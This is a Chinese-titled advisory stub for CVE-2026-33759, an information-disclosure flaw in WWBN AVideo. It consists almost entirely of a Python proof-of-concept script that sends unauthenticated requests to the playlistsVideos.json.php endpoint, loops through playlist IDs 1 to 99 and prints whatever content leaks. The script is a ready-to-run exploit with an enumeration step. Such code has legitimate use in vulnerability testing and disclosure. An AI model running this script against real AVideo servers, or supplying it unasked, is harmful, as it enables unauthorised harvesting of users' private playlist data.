CVE-2026-33759 WWBN AVideo信息泄露漏洞

#!/usr/bin/env python3 import requests def check_vulnerability(target_url, playlist_id): """ Check if the target is vulnerable to CVE-2026-33759. """ # The vulnerable endpoint endpoint = f"{target_url}/objects/playlistsVideos.json.php" # Payload parameters params = { 'playlists_id': playlist_id } try: # Send request without authentication response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: data = response.json() if 'videos' in data or len(data) > 0: print(f"[+] Vulnerable! Playlist ID {playlist_id} content leaked:") print(data) return True return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://localhost/AVideo" # Replace with actual target # Try to enumerate sequential IDs for i in range(1, 100): check_vulnerability(target, i)